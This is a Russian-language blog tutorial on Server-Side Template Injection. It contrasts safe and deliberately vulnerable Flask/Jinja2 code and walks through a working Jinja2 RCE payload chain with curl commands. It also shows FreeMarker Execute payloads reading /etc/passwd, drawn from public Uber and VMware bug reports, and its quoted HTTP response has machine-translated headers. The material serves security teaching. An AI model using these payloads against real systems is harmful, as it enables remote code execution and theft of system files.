Web
October 12

SSTI в действии: как шаблон становится RCE

Введение

Всем привет! Сегодня мы чуть-чуть окунёмся в мир веб-пентеста и рассмотрим простенькую, но довольно опасную уязвимость, с которой может столкнуться каждый разработчик, использующий в своём коде удобную и, казалось бы, безобидную функцию шаблонов — Server-Side Template Injection.

С чего всё началось?

Впервые на широкую публику уязвимость была упомянута на BlackHat 2015 Джеймсом Кеттлом, который является директором по исследованиям в PortSwigger.

https://jameskettle.com/

Со слов Джеймса, уязвимость была обнаружена при работе с одним из клиентов, у которого была система генерации электронных писем с динамическим контентом.

Его глаз сразу зацепил тот факт, что в месте вставки данных шаблона можно попытаться вывести не просто имя пользователя, а его пароль. Хоть попытка была безуспешной, при более детальном изучении документации FreeMarker он обнаружил, что в ней есть прямое указание на возможную уязвимость удалённого выполнения кода (см. скрины выше).

Если не учитывать возможную блокировку классов/методов, то payload для FreeMaker мог выглядеть так (чуть позже разберём, как оно работает детально):

${"freemarker.template.utility.Execute"?new()("id")}

Второй встречей с SSTI стал репорт клиента о продукте PortSwigger, где говорилось, что BurpSuite не смог найти явный XSS. При ручном тестировании выяснилось, что это SSTI, их действительно легко перепутать, так как при SSTI можно также делать инъекцию HTML-кода. После этого случая сканирование через BurpSuite научили находить эту уязвимость, а в списки полезных нагрузок Intruder был добавлен словарь с полезными нагрузками SSTI.

Теперь рассмотрим детальнее, в каких случаях может появиться данная уязвимость и как она работает со стороны разработчика.

Методология внедрения

Джеймс в своём исследовании определил методологию для эффективного процесса атаки. Выглядит она следующим образом:

Я буду её придерживаться в дальнейшем ходе статьи.

Detect & Identify

Как стало понятно ранее, SSTI встречается в веб-приложениях, в которых есть функционал шаблонизаторов, имеющих возможность принимать ввод пользователя с последующей обработкой. Если ввод пользователя никак не фильтруется и напрямую вставляется в шаблон, то возникает уязвимость.

Если возникло подозрение, что данная уязвимость присутствует в веб-приложении, верным способом проверить эту теорию будет перебор полезных нагрузок, который можно сделать через BurpSuite и встроенные в него словари, либо же найти их отдельно и использовать Ffuf. Если уязвимость сработает, то по полезной нагрузке можно определить движок шаблонизатора.

Джеймс в своём материале сделал граф идентификации шаблонных движков в зависимости от реакции на полезную нагрузку. Я чуть расширил оригинальный граф, добавив на него на данный момент актуальные движки и пару новых полезных нагрузок.

Предположим, что наш движок Jinja2. Рассмотрим две реализации небольшого кода, цель которого — получать из запроса имя пользователя и выводить «Dear {{пользователь}}». Одна из реализаций будет безопасной, а другая — уязвимой.

Сначала рассмотрим безопасный вариант, при котором данные пользователя вставляются в функции рендера. Что бы мы ни ввели, будь то XSS или SSTI payload, он будет рассматриваться программой как текст и не будет выполнятся при рендере.

@app.route('/greet')
def safe_greeting():
    user_name = request.args.get('name', 'Guest')

    template = "Dear {{ name }}"
    return render_template_string(template, name=user_name)

Сделаем два запроса:

curl "http://127.0.0.1:5000/greet?name=NoneDev"

https://cyberchef.org/#recipe=URL_Encode(false)&input=e3s4Kjh9fQ

curl "http://127.0.0.1:5000/greet?name=%7B%7B8*8%7D%7D"

Как видно на скриншоте, при втором запросе с полезной нагрузкой приложение отработало, как и должно было, просто разместив её текстом в ответе.

Теперь перейдём к уязвимому endpoint-у:

Здесь ввод пользователя вставляется напрямую в шаблон, после чего уже происходит рендер.

@app.route('/unsafe-greet')
def unsafe_greeting():
    user_name = request.args.get('name', 'Guest')

    template = f"Dear {user_name}"
    return render_template_string(template)

Делаем всё те же два запроса:

curl "http://127.0.0.1:5000/unsafe-greet?name=NoneDev"

curl "http://127.0.0.1:5000/unsafe-greet?name=%7B%7B8*8%7D%7D"

В данном случае второй запрос выдал нам ответ на операцию 8 * 8, что говорит о том, что код внутри {{}} выполняется и SSTI присутствует.

Exploit

Теперь, когда мы знаем, что уязвимость есть, а также знаем движок, перейдем к изучению документации, чтобы с помощью особенностей языка/движка получить полноценный RCE. Обычно получение происходит через цепочку обращений к классам и их методам, начиная от класса шаблона, заканчивая классом, у которого есть метод, позволяющий выполнять произвольный код в ОС.

Так как у нас в примере используется Jinja2, который является движком в Python, в самом начале у нас будет класс самого шаблона, который мы можем получить с помощью:

self # Ссылка на текущий класс

У каждого класса есть метод (функция) инициализации "__init__", которая выполняется при создании объекта класса:

self.__init__

У функций, в свою очередь, есть атрибут "__globals__", который содержит глобальные имена модуля, такие как переменные и импорты:

 self.__init__.__globals__

В словаре "__globals__” хранится ключ "__builtins__”, который указывает на набор встроенных в язык функций (len, print и т.д.):

self.__init__.__globals__.__builtins__

Среди встроенных функций есть "__import__", которая осуществляет механизм импорта модулей, с помощью которого можно импортировать модуль "os", который имеет возможность выполнять команды в ОС:

self.__init__.__globals__.__builtins__.__import__("os").popen("id").read()

На этом наша полезная нагрузка закончена. Остаётся только обернуть её в двойные фигурные скобки, закодировать в URL-кодировку и отправить:

https://cyberchef.org/#recipe=URL_Encode(true)&input=e3tzZWxmLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfXy5fX2ltcG9ydF9fKCdvcycpLnBvcGVuKCJpZCIpLnJlYWQoKX19

curl "http://127.0.0.1:5000/unsafe-greet?name=%7B%7Bself%2E%5F%5Finit%5F%5F%2E%5F%5Fglobals%5F%5F%2E%5F%5Fbuiltins%5F%5F%2E%5F%5Fimport%5F%5F%28%27os%27%29%2Epopen%28%22id%22%29%2Eread%28%29%7D%7D"

В результате вместо имени пользователя после «Dear» идёт результат команды id.

Публичные отчёты

В окончании разбора данной уязвимости рассмотрим два реальных случая.

В большей части отчётов, которые мне удалось найти по данной уязвимости, происходит тестирование систем генерации электронных писем. Случай с Uber как раз такой из них.

Uber

Багхантер: Orange Tsai (orange)

Дата: 25 марта 2016 года

Вознаграждение: $10,000

Ссылка на отчёт: https://hackerone.com/reports/125980

Уязвимость была обнаружена на домене rider.uber.com, который используется для обслуживания пассажирской части веб-приложения.

Как и у всех сервисов, которые работают с аккаунтами пользователей, при изменении профиля (в данном случае было изменено имя человека) на привязанный email приходит уведомление об этом действии:

Hi {name},

The following information on your Uber account has recently been updated.
- name

If you did not make this change or need assistance, please visit: t.uber.com/account-update

Как и в примере, который рассматривался выше, Uber использовал шаблонизатор Jinja2 для создания писем с уведомлениями. В письма подставлялись имена пользователей. Orange Tsai попробовал изменить имя на {{ '7'*7 }} и в результате получил письмо:

Развить до RCE не удалось из-за ограничения по длине имени, но и сказать на 100%, что это невозможно, точно нельзя.

В результате Uber принял ошибку и устранил её, выплатив багхантеру $10 000.

Следующий пример более свежий и показывает, что данная уязвимость встречается не только в самописных сервисах генерации писем, но и уже в достаточно зрелых коммерческих проектах, которые использует в том числе и государство.

Министерство обороны США

Багхантер: Nithissh Sathish (v1ct0rv0nd00m)

Дата: 11 апреля, 2022 года

Вознаграждение: Неизвестно

Ссылка на отчёт: https://hackerone.com/reports/1537543?utm_source=chatgpt.com

Насколько я понял из отчёта, исследователь Nithissh Sathish искал цели, уязвимые к CVE-2022-22954.

https://dbugs.ptsecurity.com/vulnerability/PT-2022-2145?fts[value]=CVE-2022-22954

CVE-2022-22954 — уязвимость VMware Workspace ONE Access, благодаря которой злоумышленник может без аутентификации отправить запрос на «/catalog-portal/ui/oauth/verify» с уязвимым к SSTI параметром «deviceUdid». Движком, использующимся в том шаблоне, был ранее упомянутый FreeMarker. Он отвечал за вставку индификатора устройства на страницу ошибки. Для демонстрации данной уязвимости была составлена следующая нагрузка:

https://████/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d

В обычном виде:

${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

В результате хост выдал следующее:

HTTP/1.1 400 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Set-Cookie: EUC_XSRF_TOKEN=6386e149-ff55-4a34-b474-30e6c0c62299; Path=/catalog-portal; Secure
Cache-Control: no-cache,private
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Строгая транспортная безопасность: максимальный возраст = 31536000; Включает поддомены
Параметры X-рамки: ТОГО ЖЕ ПРОИСХОЖДЕНИЯ.
Тип контента: текст / html; кодировка = UTF-8
Язык контента: en-US
Дата: Пн, 11 апр. 2022 г. 15:03:40 GMT
Подключение: закрыто
Длина содержимого: 3576

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/html">
<head>
 <title>Страница с ошибкой</title>
 <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
 <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
 <style>
 body {
 background: #465361;
 }

 .error-container {
 position: fixed;
 top: 50%;
 left: 50%;
 transform: translate(-50%, -50%);
 -ms-transform: translate(-50%, -50%);
 text-align: center;
 width: 25%;
 background-color: #fff;
 padding: 20px;
 box-shadow: 0 3px 2px -2px rgba(0, 0, .5, 0.35);
 border-radius: 4px;
 }

 .error-img-container svg {
 width: 40px;
 }

 .error-text-heading {
 font-weight: bold;
 padding-top: 5px;
 padding-bottom: 10px;
 }

 .error-text-container a {
 text-decoration: none;
 }
 </style>
</head>
<body>
<div class="error-container">
 <div class="error-img-container">
 <svg id="icon-warning-big" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
 <путь d="M28.48,24.65,17.64,5.88a1.46,1.46,0,0,0-1.28-.74h0a1.46,1.46,0,0,0-1.28.74L4.25,24.64a1.48,1.48,0,0,0,1.28,2.22H27.2a1.48,1.48,0,0,0,1.28-2.21Zm-1.07.86a.24.24,0,0,1-.21.12H5.53a.24.24,0,0,1-.21-.37L16.15,6.49a.24.24,0,0,1,.21-.12h0a.24.24,0,0,1,.21.12L27.41,25.26A.23.23,0,0,1,27.41,25.51Z"
 fill="#991700" stroke-width="0"/>
 <circle cx="16.36" cy="13.53" r="0.92" fill="#f38b00" stroke-width="0"/>
 <path d="M16.36,16.43a.62.62,0,0,0-.62.62v5.55a.62.62,0,0,0,1.23,0V17A.62.62,0,0,0,16.36,16.43Z"
 fill="#991700" stroke-width="0"/>
 </svg>
 </div>
 <div class="error-text-heading">Запрос не выполнен</div>
 <div class="error-text-container">
 <p>Пожалуйста, обратитесь к своему ИТ-администратору.</p>
 <a href="/catalog-portal/ui/logout?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22cat%20/etc/passwd%22)%7D">Выйти</a>
 </div>
</div>
</body>
<script>
 if (console && console.log) {
 console.log("auth.context.invalid");
 console.log("Контекст авторизации недействителен. Получен запрос на вход с кодом клиента: ███████, идентификатор устройства: root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/dev/null████████
 }
</script>
</html>

* Как видите, в ответе содержится информация из **/etc/passwd**

## Предлагаемые меры по смягчению последствий/исправлению ситуации
Обновите экземпляр до последней версии

Отчёт был принят, а уязвимость устранена.

Общие источники

https://youtu.be/3cT0uE7Y87s?si=rgVPPvzzFqSDGTxt

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

https://habr.com/ru/companies/bizone/articles/896556/

https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html

https://habr.com/ru/articles/788446/